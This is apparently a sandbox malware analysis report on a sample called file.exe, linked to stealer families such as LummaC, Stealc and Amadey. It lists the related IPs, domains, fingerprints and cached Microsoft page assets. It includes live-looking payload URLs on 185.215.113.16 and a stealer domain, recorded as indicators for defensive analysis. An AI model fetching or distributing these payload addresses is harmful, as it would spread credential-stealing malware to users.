Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, onedscolprdneu12.northeurope.cloudapp.azure.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, onedscolprdwus20.westus.cloudapp.azure.
Execution Graph export aborted for target file.exe, PID 7560 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:02:21	API Interceptor	54x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by Microsoft for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: u, n, k, n, o, w, n

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	Invoice_Billing_carolinadunesbh.com_6995261057.html	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://app.smartsheet.com/b/form/9141bdd4d7da45789170a7064a677627	Get hash	malicious	HTMLPhisher	Browse
	http://clearview-ps.inwise.net/page_11-21-2024_1	Get hash	malicious	Unknown	Browse
	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	http://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-f9637b78-lok1anrm	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.66.38
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Invoice_Billing_carolinadunesbh.com_6995261057.html	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	https://app.smartsheet.com/b/form/9141bdd4d7da45789170a7064a677627	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	http://clearview-ps.inwise.net/page_11-21-2024_1	Get hash	malicious	Unknown	Browse	13.107.246.63
	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	MayitaV16.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://doam29-kk5ug.ondigitalocean.app/	Get hash	malicious	TechSupportScam	Browse	162.159.140.98
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.66.38
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	http://amz-account-unlock-dashboard4.duckdns.org	Get hash	malicious	Unknown	Browse	104.18.11.207
	Invoice_Billing_carolinadunesbh.com_6995261057.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	172.67.75.163
	http://t.ly/YSjhI	Get hash	malicious	Unknown	Browse	104.17.25.14
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.168.117.168
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.247.23.33
	Invoice_Billing_carolinadunesbh.com_6995261057.html	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	94.245.104.56
	https://app.smartsheet.com/b/form/9141bdd4d7da45789170a7064a677627	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	20.189.173.8
	FW_ Signature Required For Agreement with ID_41392PJBM8759674.msg	Get hash	malicious	Unknown	Browse	52.109.76.243
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://doam29-kk5ug.ondigitalocean.app/	Get hash	malicious	TechSupportScam	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	http://amz-account-unlock-dashboard4.duckdns.org	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	Invoice_Billing_carolinadunesbh.com_6995261057.html	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	https://temp.farenheit.net/XMDNvVFp0d0NmOUNSbFJTSVB2QTRuZktxeWdPaG5ReWxrK1NleVgvbGgvakhBRU5TWkZPQW14RDZLMTlST0pJK3Jja1R0bjkyZkxubHc1UXhLdmU5UVNJcVIyU25JdFVIV0hEc3l3R0kvb3VpWWFlWGxvWmJMSDIwaWRkYTV3c2V3ZnpXcVArUkJXbEpTeWU1SCtuRWNpRVI2RFFuNXh1ODEyQUx3WlNCdDB1N3NjcDh2M1p4MU9qSkJ0R2VDV0VDeVJ4THU5bDM5SkkvaGMxc1hEc3pOb0VtcWl0cDUxemRyc1BwMkE9PS0tRklOcExLZUVZVVZGemhWRC0teTZKNGN1UnI2dUIxL3E5Zm91Q2hVZz09?cid=2268024206	Get hash	malicious	KnowBe4	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	http://t.ly/YSjhI	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	SeleniumVBA.xlsm	Get hash	malicious	Unknown	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
